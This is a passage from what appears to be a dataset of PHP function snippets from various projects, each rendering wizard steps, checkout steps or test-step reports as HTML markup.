1));\n $this->percentToDo = 100 - $this->percentDone;\n\n $this->nextModuleName = '';\n if (isset($this->steps[$this->currentStepId + 1])) {\n $this->nextModuleName = $this->steps[$this->currentStepId + 1];\n }\n $this->previousModuleName = '';\n if (isset($this->steps[$this->currentStepId - 1])) {\n $this->previousModuleName = $this->steps[$this->currentStepId - 1];\n }\n $this->previousPreviousModuleName = '';\n if (isset($this->steps[$this->currentStepId - 2])) {\n $this->previousPreviousModuleName = $this->steps[$this->currentStepId - 2];\n }\n\n $this->piwikVersion = Version::VERSION;\n\n return parent::render();\n }", "public function renderAfterStep($obj)\n {\n $feature = $obj->getCurrentFeature();\n $scenario = $obj->getCurrentScenario();\n\n $steps = $scenario->getSteps();\n $step = end($steps); //needed because of strict standards\n\n //path displayed only if available (it's not available in undefined steps)\n $strPath = '';\n if($step->getDefinition() !== null) {\n $strPath = $step->getDefinition()->getPath();\n }\n\n $stepResultClass = '';\n if($step->isPassed()) {\n $stepResultClass = 'passed';\n }\n if($step->isFailed()) {\n $stepResultClass = 'failed';\n }\n if($step->isSkipped()) {\n $stepResultClass = 'skipped';\n }\n if($step->isPending()) {\n $stepResultClass = 'pending';\n }\n\n $arguments ='';\n $argumentType = $step->getArgumentType();\n\n if($argumentType == \"PyString\"){\n $arguments = '<br><pre class=\"argument\">' . htmlentities($step->getArguments()) . '</pre>';\n }\n\n if ($argumentType == 'Table'){\n $arguments = '<br><pre class=\"argument\">' . $this->renderTableNode($step->getArguments()) . '</pre>';\n }\n\n $print = '\n <li class=\"'.$stepResultClass.'\">\n <div class=\"step\">\n <span class=\"keyword\">'.$step->getKeyWord().' </span>\n <span class=\"text\">'.htmlentities($step->getText()).' </span>\n <span class=\"path\">'.$strPath.'</span>'\n . $arguments . '\n </div>';\n $exception = $step->getException();\n if(!empty($exception)) {\n $relativeScreenshotPath = 'assets/screenshots/' . $feature->getScreenshotFolder() . '/' . $scenario->getScreenshotName();\n $fullScreenshotPath = $obj->getOutputPath() . '/' . $relativeScreenshotPath;\n $print .= '\n <pre class=\"backtrace\">'.$step->getException().'</pre>';\n if(file_exists($fullScreenshotPath))\n {\n $print .= '<a href=\"' . $relativeScreenshotPath . '\">Screenshot</a>';\n }\n }\n $print .= '\n </li>';\n\n return $print;\n }", "function renderStepsOverview() {\n\n\t\t$rows = array();\n\n\t\t\t// Generate a summary of all data from the different steps:\n\t\tforeach ($this->steps as $stepNr => $stepConf) {\n\t\t\t\t// Show all steps except the overview of course:\n\t\t\tif ($stepNr < $this->currentStep) {\n\t\t\t\t\t// If a userfunction was defined for rendering the overview part for this step, call the user function:\n\t\t\t\tif (is_array($stepConf['userfunctions']['renderstepsoverview'])) {\n\t\t\t\t\tif (method_exists ($stepConf['userfunctions']['renderstepsoverview']['userobject'], $stepConf['userfunctions']['renderstepsoverview']['usermethod'])) {\n\t\t\t\t\t\t$userConfig = array(\n\t\t\t\t\t\t\t'stepNr' => $stepNr,\n\t\t\t\t\t\t\t'stepConf' => $stepConf\n\t\t\t\t\t\t);\n\t\t\t\t\t\t$rows[] = call_user_method ($stepConf['userfunctions']['renderstepsoverview']['usermethod'], $stepConf['userfunctions']['renderstepsoverview']['userobject'], $userConfig, $stepConf['userfunctions']['renderstepsoverview']['userobject'], $this);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$rows[] = '\n\t\t\t\t\t\t<fieldset>\n\t\t\t\t\t\t\t<legend>'.htmlspecialchars($stepConf['label']).'</legend>';\n\t\t\t\t\t$counter = 1;\n\t\t\t\t\tif (is_array ($stepConf['fields'])) {\n\t\t\t\t\t\tforeach ($stepConf['fields'] as $fieldConf) {\n\t\t\t\t\t\t\t$rows[] = '\n\t\t\t\t\t\t\t\t<div class=\"tx-frontendformslib-stepsoverview-row tx-frontendformslib-stepsoverview-row-'.($counter%2 ? 'even':'odd').'\">\n\t\t\t\t\t\t\t\t\t'.$this->getSingleLabel($fieldConf).\n\t\t\t\t\t\t\t\t\t htmlspecialchars($this->sessionData['data'][$fieldConf['table']][$fieldConf['name']]).'\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t';\n\t\t\t\t\t\t\t$counter ++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$rows[] = '\n\t\t\t\t\t\t</fieldset>\n\t\t\t\t\t';\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$output .= '\n\t\t\t<div class=\"tx-frontendformslib-stepsoverview\">\n\t\t\t\t'.implode (chr(10), $rows).'\n\t\t\t</div>\n\t\t';\n\n\t\treturn $output;\n\t}", "protected function generateHtml()\n\t{\n\t}", "function renderStepDisplay() {\n\t\t$stepsSpans = '';\n\t\tif (is_array ($this->steps)) {\n\t\t\t$stepTitle = $this->steps[$this->currentStep]['label'];\n\t\t\t$counter = 1;\n\t\t\tforeach ($this->steps as $stepNr => $stepConf) {\n\t\t\t\t$stepsSpans .= '<span class=\"tx-frontendformslib-steps-'.($this->currentStep == $stepNr ? 'active' : 'inactive').'\">'.$this->steps[$stepNr]['label'].'</span>';\n\t\t\t\t$counter ++;\n\t\t\t}\n\n\t\t\t$output = '\n\t\t\t\t<div class=\"tx-frontendformslib-steps\">\n\t\t\t\t\t'.$stepsSpans.'\n\t\t\t\t</div>\n\t\t\t';\n\t\t}\n\t\treturn $output;\n\t}", "public function stepsAction()\n {\n if (!$this->_isActive()) {\n $this->norouteAction();\n return;\n }\n\n if ($this->_expireAjax()) {\n return;\n }\n\n $steps = $this->getRequest()->getParam('steps');\n\n if (!is_array($steps)) {\n $steps = array();\n }\n\n $this->loadLayout();\n $result = array();\n foreach ($steps as $step) {\n if ($this->_hasHandleStepHtml($step)) {\n continue;\n }\n $result[$step] = $this->getLayout()->getBlock('checkout.layout')->getStepBlockHtml($step);\n }\n\n foreach ($steps as $step) {\n if ($this->_hasHandleStepHtml($step)) {\n $result[$step] = $this->_getHandleStepHtml($step);\n }\n }\n\n if (empty($result)) {\n $resultJSON = '{}';\n } else {\n $resultJSON = Mage::helper('core')->jsonEncode($result);\n }\n\n $this->getResponse()->setBody($resultJSON);\n }", "public function generate()\n\t{\n if (is_array($GLOBALS['TL_JAVASCRIPT']))\n\t\t{\n\t\t\tarray_insert($GLOBALS['TL_JAVASCRIPT'], 1, 'bundles/hschottmtextwizard/js/textwizard.min.js');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$GLOBALS['TL_JAVASCRIPT'] = array('bundles/hschottmtextwizard/js/textwizard.min.js');\n\t\t}\n\n\t\t$arrButtons = array('new', 'copy', 'delete', 'drag');\n\t\t// Make sure there is at least an empty array\n\t\tif (empty($this->varValue) || !\\is_array($this->varValue))\n\t\t{\n\t\t\t$this->varValue = array('');\n\t\t}\n\t\t// Initialize the tab index\n\t\tif (!\\Cache::has('tabindex'))\n\t\t{\n\t\t\t\\Cache::set('tabindex', 1);\n\t\t}\n\n $hasTitles = array_key_exists('buttonTitles', $this->arrConfiguration) && is_array($this->arrConfiguration['buttonTitles']);\n\n $return = ($this->wizard) ? '<div class=\"tl_wizard\">' . $this->wizard . '</div>' : '';\n\t\t$return .= '<ul id=\"ctrl_'.$this->strId.'\" class=\"tl_listwizard tl_textwizard\">';\n\t\t// Add input fields\n\t\tfor ($i=0, $c=\\count($this->varValue); $i<$c; $i++)\n\t\t{\n\t\t\t$return .= '\n <li><input type=\"text\" name=\"'.$this->strId.'[]\" class=\"tl_text\" value=\"'.\\StringUtil::specialchars($this->varValue[$i]).'\"' . $this->getAttributes() . '> ';\n\t\t\t// Add buttons\n\t\t\tforeach ($arrButtons as $button)\n\t\t\t{\n\t\t\t\tif ($button == 'drag')\n\t\t\t\t{\n\t\t\t\t\t$return .= ' <button type=\"button\" class=\"drag-handle\" title=\"' . \\StringUtil::specialchars($GLOBALS['TL_LANG']['MSC']['move']) . '\" aria-hidden=\"true\">' . \\Image::getHtml('drag.svg') . '</button>';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n $buttontitle = ($hasTitles && array_key_exists($button, $this->arrConfiguration['buttonTitles'])) ? $this->arrConfiguration['buttonTitles'][$button] : $GLOBALS['TL_LANG']['MSC']['lw_'.$button];\n\t\t\t\t\t$return .= ' <button type=\"button\" data-command=\"' . $button . '\" title=\"' . \\StringUtil::specialchars($buttontitle) . '\">' . \\Image::getHtml($button.'.svg') . '</button>';\n\t\t\t\t}\n\t\t\t}\n\t\t\t$return .= '</li>';\n\t\t}\n\t\treturn $return.'\n </ul>\n <script>TextWizard.textWizard(\"ctrl_'.$this->strId.'\")</script>';\n\t}", "function printBookingStep($step) {\n\n\t\t$this->pi_loadLL();\n\n\t\t$cssStep1='';\n\t\t$cssStep2='';\n\t\t$cssStep3='';\n\n\t\tswitch ($step) {\n\t\t\tcase '1':\n\t\t\t\t$cssStep1=\"step1 current\";\n\t\t\t\t$cssStep2=\"step2\";\n\t\t\t\t$cssStep3=\"step3\";\n\t\t\t\tbreak;\n\t\t\tcase '3':\n\t\t\t\t$cssStep1=\"step1\";\n\t\t\t\t$cssStep2=\"step2 current\";\n\t\t\t\t$cssStep3=\"step3\";\n\t\t\t\tbreak;\n\t\t\tcase '4':\n\t\t\t\t$cssStep1=\"step1\";\n\t\t\t\t$cssStep2=\"step2\";\n\t\t\t\t$cssStep3=\"step3 current\";\n\t\t\t\tbreak;\n\t\t}\n\n\t\t$out .= '<div class=\"bookingSteps\">';\n\t\t$out .= '<ul>';\n\t\t$out .= '<li class=\"'.$cssStep1.'\">'.$this->pi_getLL('booking_step_1').'</li>';\n\t\t$out .= '<li class=\"'.$cssStep2.'\">'.$this->pi_getLL('booking_step_2').'</li>';\n\t\t$out .= '<li class=\"'.$cssStep3.'\">'.$this->pi_getLL('booking_step_3').'</li>';\n\t\t$out .= '</ul>';\n\t\t$out .= '</div>';\n\n\t\treturn $out;\n\t}", "protected function outputSpecificStep() {}", "function renderCurrentStep() {\n\t\t$rows = array();\n\n\t\tswitch ($this->steps[$this->currentStep]['type']) {\n\t\t\tcase 'fields':\n\t\t\t\t$this->fieldTabIndex = 500;\n\n\t\t\t\t$rows[] = '<fieldset>';\n\n\t\t\t\tif (strlen ($this->steps[$this->currentStep]['label'])) {\n\t\t\t\t\t$rows[] = '<legend>'.$this->steps[$this->currentStep]['label'].'</legend>';\n\t\t\t\t}\n\n\t\t\t\tif (strlen ($this->steps[$this->currentStep]['infotext'])) {\n\t\t\t\t\t$rows[] = $this->steps[$this->currentStep]['infotext'];\n\t\t\t\t}\n\n\t\t\t\tforeach ($this->steps[$this->currentStep]['fields'] as $fieldConf) {\n\t\t\t\t\t$field = $this->getSingleField ($fieldConf);\n\t\t\t\t\t$label = $this->getSingleLabel ($fieldConf);\n\t\t\t\t\tif (intval($fieldConf['config']['tx_frontendformslib_swaphorizontally'])) {\n\t\t\t\t\t\t$rows[] = $field.$label.'<br />';\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$rows[] = $label.$field.'<br />';\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$rows[] = '</fieldset>';\n\n\t\t\tbreak;\n\t\t\tcase 'user':\n\t\t\t\tif (method_exists ($this->steps[$this->currentStep]['userobject'], $this->steps[$this->currentStep]['usermethod'])) {\n\t\t\t\t\t$rows[] = call_user_method ($this->steps[$this->currentStep]['usermethod'], $this->steps[$this->currentStep]['userobject'], $this->steps[$this->currentStep]['userconfig'], $this->steps[$this->currentStep]['userobject'], $this);\n\t\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\treturn implode (chr(10), $rows);\n\t}", "public function print_steps() {\n\t\tWC()->session->set( 'checkout_step', 'address' );\n\n\t\twc_get_template( 'checkout/multistep/steps.php', array( 'multistep' => $this ) );\n\t}", "public function view(){\n\t\t$this->buildListing();\n\t}", "function getHtmlStep2View()\r\n\t{\r\n\t\treturn '';\r\n\t}", "public function render_wizard() {\n\t\tinclude Plugin::instance()->get_view( 'common/page' );\n\t}", "public function render_wizard() {\n\t\t$action = explode(':', $this->wizard->modData['wizAction']);\n\t\t\n\t\tif ($action[0] == 'edit') {\n\t\t\t$action[1] = 1;\n\t\t\t$this->regNewEntry($this->sectionID, $action[1]);\n\t\t}\n\t\t\n\t\t$output = '';\n\t\t\n\t\t$output .= '<strong>This will create class files for tcaobjects<strong><br /><br />';\n\t\t\n\t\treturn $output;\n\t}", "abstract public function generateHtml();", "public function printStep(Event $event)\n {\n $step = $event->getSubject();\n\n if (!($step->getParent() instanceof BackgroundNode) || !$this->backgroundPrinted) {\n if (!($step->getParent() instanceof OutlineNode) || !$this->outlineStepsPrinted) {\n $this->html .= '<li class=\"' . $this->statuses[$event->get('result')] . '\">';\n\n // Get step description\n $text = htmlspecialchars($this->outlineStepsPrinted ? $step->getText() : $step->getCleanText());\n\n // Print step\n $this->html .= '<div class=\"step\">';\n $this->html .= '<span class=\"keyword\">' . $step->getType() . '</span> ';\n $this->html .= '<span class=\"text\">' . $text . '</span>';\n if (null !== ($def = $event->get('definition'))) {\n $this->html .= $this->getSourcePathHtml($def->getFile(), $def->getLine());\n }\n $this->html .= '</div>';\n\n // Print step arguments\n if ($step->hasArguments()) {\n foreach ($step->getArguments() as $argument) {\n if ($argument instanceof PyStringNode) {\n $this->html .= '<pre class=\"argument\">' . htmlspecialchars($argument) . '</pre>';\n } elseif ($argument instanceof TableNode) {\n $this->html .= $this->getTableHtml($argument, 'argument');\n }\n }\n }\n\n // Print step exception\n if (null !== $event->get('exception')) {\n $message = $event->get('exception')->getMessage();\n\n $this->html .= '<div class=\"backtrace\"><pre>' . htmlspecialchars($message) . '</pre></div>';\n }\n\n // Print step snippet\n if (null !== $event->get('snippet')) {\n $snippets = array_values($event->get('snippet'));\n $snippet = $snippets[0];\n\n $this->html .= '<div class=\"snippet\"><pre>' . htmlspecialchars($snippet) . '</pre></div>';\n }\n\n $this->html .= '</li>';\n } else {\n if (null !== $event->get('exception')) {\n $this->outlineSubresultExceptions[] = $event->get('exception');\n }\n }\n }\n }", "public function renderSetupPage()\r\n\t{\r\n\t\tglobal $lang;\r\n\t\t// Instructions\r\n\t\t$html =\tRCView::p(array('style'=>'max-width:800px;'), \r\n\t\t\t\t\t\"{$lang['ws_53']} {$lang['ws_13']} {$lang['ws_54']} \" .\r\n\t\t\t\t\tRCView::a(array('href'=>'javascript:;', 'onclick'=>'ddpExplainDialog();', 'style'=>'text-decoration:underline;'), $lang['global_58'])\r\n\t\t\t\t);\r\n\t\t// If a POST request, process the submission and save it\r\n\t\tif ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['map_fields'])) {\r\n\t\t\t$html .= $this->saveFieldMappings();\r\n\t\t}\r\n\t\t// Display tree of external fields for user to choose prior to mapping\r\n\t\tif ((!$this->isMappingSetUp() && !isset($_POST['select_fields'])) || isset($_GET['add_fields'])) {\r\n\t\t\t$html .= $this->renderExternalSourceFieldTree();\r\n\t\t}\r\n\t\t// Display table of mappable fields from external source\r\n\t\tif (!isset($_GET['add_fields'])) {\r\n\t\t\t$html .= $this->renderExternalSourceFieldTable();\r\n\t\t}\r\n\t\t// Return html\r\n\t\treturn RCView::div(array('style'=>'max-width:1000px;margin:20px 0;'), $html);\r\n\t}", "private function stepNav() {\n $course = $this->step->course;\n\t\t$root = $course->root;\n\t\t$stepUrl = $this->step->url;\n\n\t\t$prev = $this->stepSection->prev;\n\t\t$prevUrl = $prev !== null ? $prev->url : $stepUrl;\n\n\t\t$next = $this->stepSection->next;\n\t\t$nextUrl = $next !== null ? $next->url : $stepUrl;\n\t\t\n\t\t$html = <<<END1\n<div class=\"cl-stepnav-div\"><nav class=\"cl-stepnav cl-nav\"><div><ul>\n<li><a href=\"$stepUrl\"><span>Return to Step Page</span>\n<img alt=\"Return to Step\" width=\"28\" height=\"25\" src=\"$root/vendor/cl/step/img/returnstep.png\" /></a></li>\nEND1;\n\n\t\t// Extra menu items here\n\t\tforeach($this->step->menuExtra as $extra) {\n\t\t\t$html .= $extra->html($this->stepSection, $this->user);\n\t\t}\n\n\t\t$html .= <<<HTML\n<li><a href=\"$prevUrl\"><span>Previous Section</span>\n<img alt=\"Mark Complete\" height=\"25\" src=\"$root/vendor/cl/site/img/previcon.png\" width=\"40\" /></a></li>\n<li><a href=\"$nextUrl\"><span>Next Section</span>\n<img alt=\"Mark Complete\" height=\"25\" src=\"$root/vendor/cl/site/img/nexticon.png\" width=\"40\" /></a></li>\n<li><a href=\"$nextUrl\" class=\"cl-step-completed-next\"><span>Mark Completed and Next Section</span>\n<img alt=\"Mark Complete\" height=\"25\" src=\"$root/vendor/cl/site/img/checknext.png\" width=\"40\" /></a></li>\n<li class=\"cl-step-progress\"></li>\nHTML;\n\n\t\t// Appended menu items here\n\t\tforeach($this->step->menuAppend as $extra) {\n\t\t\t$html .= $extra->html($this->stepSection, $this->user);\n\t\t}\n\t\t\n\t\t/*\n\t\t * End of menu bar \n\t\t */\n\t\t$html .= <<<HTML\n</ul></div>\n</nav></div>\nHTML;\n\t\n\t\treturn $html;\n\t}", "function render_wizard() {\n\t\t$lines = array();\n\n\t\t$action = explode(':', $this->wizard->modData['wizAction']);\n\t\tif ($action[0] == 'edit') {\n\t\t\t$this->regNewEntry($this->sectionID, $action[1]);\n\t\t\t$lines = $this->catHeaderLines(\n\t\t\t\t$lines, $this->sectionID, $this->wizard->options[$this->sectionID], '&nbsp;', $action[1]\n\t\t\t);\n\t\t\t$piConf = $this->wizard->wizArray[$this->sectionID][$action[1]];\n\t\t\t$ffPrefix = '[' . $this->sectionID . '][' . $action[1] . ']';\n\n\t\t\t// Unique table name:\n\t\t\t$table_suffixes = array();\n\t\t\tif (is_array($this->wizard->wizArray[$this->sectionID])) {\n\t\t\t\tforeach ($this->wizard->wizArray[$this->sectionID] as $kk => $vv) {\n\t\t\t\t\tif (!strcmp($action[1], $kk)) {\n\t\t\t\t\t\tif (count($table_suffixes)\n\t\t\t\t\t\t\t&& t3lib_div::inList(\n\t\t\t\t\t\t\t\timplode(',', $table_suffixes), trim($vv['tablename']) . 'Z'\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t) {\n\t\t\t\t\t\t\t$piConf['tablename'] .= $kk;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t$table_suffixes[] = trim($vv['tablename']) . 'Z';\n\t\t\t\t}\n\t\t\t}\n\n\n\t\t\t// Enter title of the table\n\t\t\t$subContent = '<strong>Tablename:</strong><BR>' .\n\t\t\t\t$this->returnName($this->wizard->extKey, 'tables') . '_' . $this->renderStringBox(\n\t\t\t\t\t$ffPrefix . '[tablename]', trim($piConf['tablename'])\n\t\t\t\t) .\n\t\t\t\t'<BR><strong>Notice:</strong> Use characters a-z0-9 only. Only lowercase, no spaces.<BR>\n\t\t\t\tThis becomes the table name in the database. ';\n\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\n\n\t\t\t// Enter title of the table\n\t\t\t$subContent = '<strong>Title of the table:</strong><BR>' .\n\t\t\t\t$this->renderStringBox_lang('title', $ffPrefix, $piConf);\n\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\n\n\t\t\t// Fields - overview\n\t\t\t$c = array(0);\n\t\t\t$this->usedNames = array();\n\t\t\tif (is_array($piConf['fields'])) {\n\t\t\t\t$piConf['fields'] = $this->cleanFieldsAndDoCommands(\n\t\t\t\t\t$piConf['fields'], $this->sectionID, $action[1],\n\t\t\t\t\t$piConf['which_table'] ? $piConf['which_table'] : ''\n\t\t\t\t);\n\n\t\t\t\t// Do it for real...\n\t\t\t\t$lines[] = '<tr' . $this->bgCol(1) . '><td><strong> Fields Overview </strong></td></tr>';\n\t\t\t\t$lines[] = '<tr><td></td></tr>';\n\n\t\t\t\t$subContent = '<tr ' . $this->bgCol(2) . '>\n\t\t\t\t\t<td><strong>Name</strong></td>\n\t\t\t\t\t<td><strong>Title</strong></td>\n\t\t\t\t\t<td><strong>Type</strong></td>\n\t\t\t\t\t<td><strong>Exclude?</strong></td>\n\t\t\t\t\t<td><strong>Details</strong></td>\n\t\t\t\t</tr>';\n\t\t\t\tforeach ($piConf['fields'] as $k => $v) {\n\t\t\t\t\t$c[] = $k;\n\t\t\t\t\t$subContent .= $this->renderFieldOverview($ffPrefix . '[fields][' . $k . ']', $v);\n\t\t\t\t}\n\t\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td><table>' . $this->fw($subContent) . '</table></td></tr>';\n\t\t\t}\n\n\t\t\t$lines[] = '<tr' . $this->bgCol(1) . '><td><strong> Edit Fields </strong></td></tr>';\n\t\t\t$lines[] = '<tr><td></td></tr>';\n\n\t\t\t$subContent = '';\n\t\t\t$subContent .=\n\t\t\t\t$this->renderCheckBox($ffPrefix . '[add_deleted]', $piConf['add_deleted'], 1) . 'Add \"Deleted\" field '\n\t\t\t\t. $this->whatIsThis(\n\t\t\t\t\t'Whole system: If a table has a deleted column, records are never really deleted, just \"marked deleted\" . Thus deleted records can actually be restored by clearing a deleted-flag later. Notice that all attached files are also not deleted from the server, so if you expect the table to hold some heavy size uploads, maybe you should not set this...'\n\t\t\t\t) . '<BR>';\n\t\t\t$subContent .=\n\t\t\t\t$this->renderCheckBox($ffPrefix . '[add_hidden]', $piConf['add_hidden'], 1) . 'Add \"Hidden\" flag '\n\t\t\t\t. $this->whatIsThis(\n\t\t\t\t\t'Frontend: The \"Hidden\" flag will prevent the record from being displayed on the frontend.'\n\t\t\t\t) . '<BR>' . $this->resImg('t_flag_hidden.png', 'hspace=20', '', '<BR><BR>');\n\t\t\t$subContent .=\n\t\t\t\t$this->renderCheckBox($ffPrefix . '[add_starttime]', $piConf['add_starttime']) . 'Add \"Starttime\" '\n\t\t\t\t. $this->whatIsThis(\n\t\t\t\t\t'Frontend: If a \"Starttime\" is set, the record will not be visible on the website, before that date arrives.'\n\t\t\t\t) . '<BR>' . $this->resImg('t_flag_starttime.png', 'hspace=20', '', '<BR><BR>');\n\t\t\t$subContent .= $this->renderCheckBox($ffPrefix . '[add_endtime]', $piConf['add_endtime']) . 'Add \"Endtime\" '\n\t\t\t\t. $this->whatIsThis(\n\t\t\t\t\t'Frontend: If a \"Endtime\" is set, the record will be hidden from that date and into the future.'\n\t\t\t\t) . '<BR>' . $this->resImg('t_flag_endtime.png', 'hspace=20', '', '<BR><BR>');\n\t\t\t$subContent .=\n\t\t\t\t$this->renderCheckBox($ffPrefix . '[add_access]', $piConf['add_access']) . 'Add \"Access group\" '\n\t\t\t\t. $this->whatIsThis(\n\t\t\t\t\t'Frontend: If a frontend user group is set for a record, only frontend users that are members of that group will be able to see the record.'\n\t\t\t\t) . '<BR>' . $this->resImg('t_flag_access.png', 'hspace=20', '', '<BR><BR>');\n\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\n\t\t\t// Sorting\n\t\t\t$optValues = array(\n\t\t\t\t'crdate' => '[crdate]',\n\t\t\t\t'cruser_id' => '[cruser_id]',\n\t\t\t\t'tstamp' => '[tstamp]',\n\t\t\t);\n\t\t\t$subContent = '';\n\t\t\t$subContent .= $this->renderCheckBox($ffPrefix . '[localization]', $piConf['localization'])\n\t\t\t\t. 'Enabled localization features' . $this->whatIsThis(\n\t\t\t\t\t'If set, the records will have a selector box for language and a reference field which can point back to the original default translation for the record. These features are part of the internal framework for localization.'\n\t\t\t\t) . '<BR>';\n\t\t\t$subContent .=\n\t\t\t\t$this->renderCheckBox($ffPrefix . '[versioning]', $piConf['versioning']) . 'Enable versioning '\n\t\t\t\t. $this->whatIsThis(\n\t\t\t\t\t'If set, you will be able to versionize records from this table. Highly recommended if the records are passed around in a workflow.'\n\t\t\t\t) . '<BR>';\n\t\t\t$subContent .=\n\t\t\t\t$this->renderCheckBox($ffPrefix . '[sorting]', $piConf['sorting']) . 'Manual ordering of records '\n\t\t\t\t. $this->whatIsThis(\n\t\t\t\t\t'If set, the records can be moved up and down relative to each other in the backend. Just like Content Elements. Otherwise they are sorted automatically by any field you specify'\n\t\t\t\t) . '<BR>';\n\t\t\t$subContent .= $this->textSetup(\n\t\t\t\t'', 'If \"Manual ordering\" is not set, order the table by this field:<BR>' .\n\t\t\t\t$this->renderSelectBox(\n\t\t\t\t\t$ffPrefix . '[sorting_field]', $piConf['sorting_field'],\n\t\t\t\t\t$this->currentFields($optValues, $piConf['fields'])\n\t\t\t\t) . '<BR>' .\n\t\t\t\t$this->renderCheckBox($ffPrefix . '[sorting_desc]', $piConf['sorting_desc']) . ' Descending'\n\t\t\t);\n\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\n\t\t\t// Type field\n\t\t\t$optValues = array(\n\t\t\t\t'0' => '[none]',\n\t\t\t);\n\t\t\t$subContent = '<strong>\"Type-field\", if any:<BR></strong>' .\n\t\t\t\t$this->renderSelectBox(\n\t\t\t\t\t$ffPrefix . '[type_field]', $piConf['type_field'],\n\t\t\t\t\t$this->currentFields($optValues, $piConf['fields'])\n\t\t\t\t) .\n\t\t\t\t$this->whatIsThis(\n\t\t\t\t\t'A \"type-field\" is the field in the table which determines how the form is rendered in the backend, eg. which fields are shown under which circumstances. For instance the Content Element table \"tt_content\" has a type-field, CType. The value of this field determines if the editing form shows the bodytext field as is the case when the type is \"Text\" or if also the image-field should be shown as when the type is \"Text w/Image\"'\n\t\t\t\t);\n\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\n\t\t\t// Header field\n\t\t\t$optValues = array(\n\t\t\t\t'0' => '[none]',\n\t\t\t);\n\t\t\t$subContent = '<strong>Label-field:<BR></strong>' .\n\t\t\t\t$this->renderSelectBox(\n\t\t\t\t\t$ffPrefix . '[header_field]', $piConf['header_field'],\n\t\t\t\t\t$this->currentFields($optValues, $piConf['fields'])\n\t\t\t\t) .\n\t\t\t\t$this->whatIsThis('A \"label-field\" is the field used as record title in the backend.');\n\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\n\t\t\t// Icon\n\t\t\t$optValues = array(\n\t\t\t\t'default.gif' => 'Default (white)',\n\t\t\t\t'default_black.gif' => 'Black',\n\t\t\t\t'default_gray4.gif' => 'Gray',\n\t\t\t\t'default_blue.gif' => 'Blue',\n\t\t\t\t'default_green.gif' => 'Green',\n\t\t\t\t'default_red.gif' => 'Red',\n\t\t\t\t'default_yellow.gif' => 'Yellow',\n\t\t\t\t'default_purple.gif' => 'Purple',\n\t\t\t);\n\n\t\t\t$subContent = $this->renderSelectBox($ffPrefix . '[defIcon]', $piConf['defIcon'], $optValues)\n\t\t\t\t. ' Default icon ' . $this->whatIsThis(\n\t\t\t\t\t'All tables have at least one associated icon. Select which default icon you wish. You can always substitute the file with another.'\n\t\t\t\t);\n\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\n\t\t\t// Allowed on pages\n\t\t\t$subContent = '<strong>Allowed on pages:<BR></strong>' .\n\t\t\t\t$this->renderCheckBox(\n\t\t\t\t\t$ffPrefix . '[allow_on_pages]', $piConf['allow_on_pages']\n\t\t\t\t) . ' Allow records from this table to be created on regular pages.';\n\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\n\t\t\t// Allowed in \"Insert Records\"\n\t\t\t$subContent = '<strong>Allowed in \"Insert Records\" field in content elements:<BR></strong>' .\n\t\t\t\t$this->renderCheckBox(\n\t\t\t\t\t$ffPrefix . '[allow_ce_insert_records]', $piConf['allow_ce_insert_records']\n\t\t\t\t) . ' Allow records from this table to be linked to by content elements.';\n\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\n\t\t\t// Add new button\n\t\t\t$subContent = '<strong>Add \"Save and new\" button in forms:<BR></strong>' .\n\t\t\t\t$this->renderCheckBox(\n\t\t\t\t\t$ffPrefix . '[save_and_new]', $piConf['save_and_new']\n\t\t\t\t) . ' Will add an additional save-button to forms by which you can save the item and instantly create the next.';\n\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\n\n\t\t\t$subContent = '<strong>Notice on fieldnames:<BR></strong>' .\n\t\t\t\t'Don\\'t use fieldnames from this list of reserved names/words: <BR>\n\t\t\t\t<blockquote><em>' . implode(', ', $this->wizard->reservedWords) . '</em></blockquote>';\n\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\n\t\t\t// PRESETS:\n\t\t\t$selPresetBox = $this->presetBox($piConf[\"fields\"]);\n\n\t\t\t// Fields\n\t\t\t$c = array(0);\n\t\t\t$this->usedNames = array();\n\t\t\tif (is_array($piConf['fields'])) {\n\n\t\t\t\t// Do it for real...\n\t\t\t\tforeach ($piConf['fields'] as $k => $v) {\n\t\t\t\t\t$c[] = $k;\n\t\t\t\t\t$subContent = $this->renderField($ffPrefix . '[fields][' . $k . ']', $v);\n\t\t\t\t\t$lines[] = '<tr' . $this->bgCol(2) . '><td>' . $this->fw(\n\t\t\t\t\t\t\t'<strong>FIELD:</strong> <em>' . $v['fieldname'] . '</em>'\n\t\t\t\t\t\t) . '</td></tr>';\n\t\t\t\t\t$lines[] = '<tr' . $this->bgCol(3) . '><td>' . $this->fw($subContent) . '</td></tr>';\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// New field:\n\t\t\t$k = max($c) + 1;\n\t\t\t$v = array();\n\t\t\t$lines[] = '<tr' . 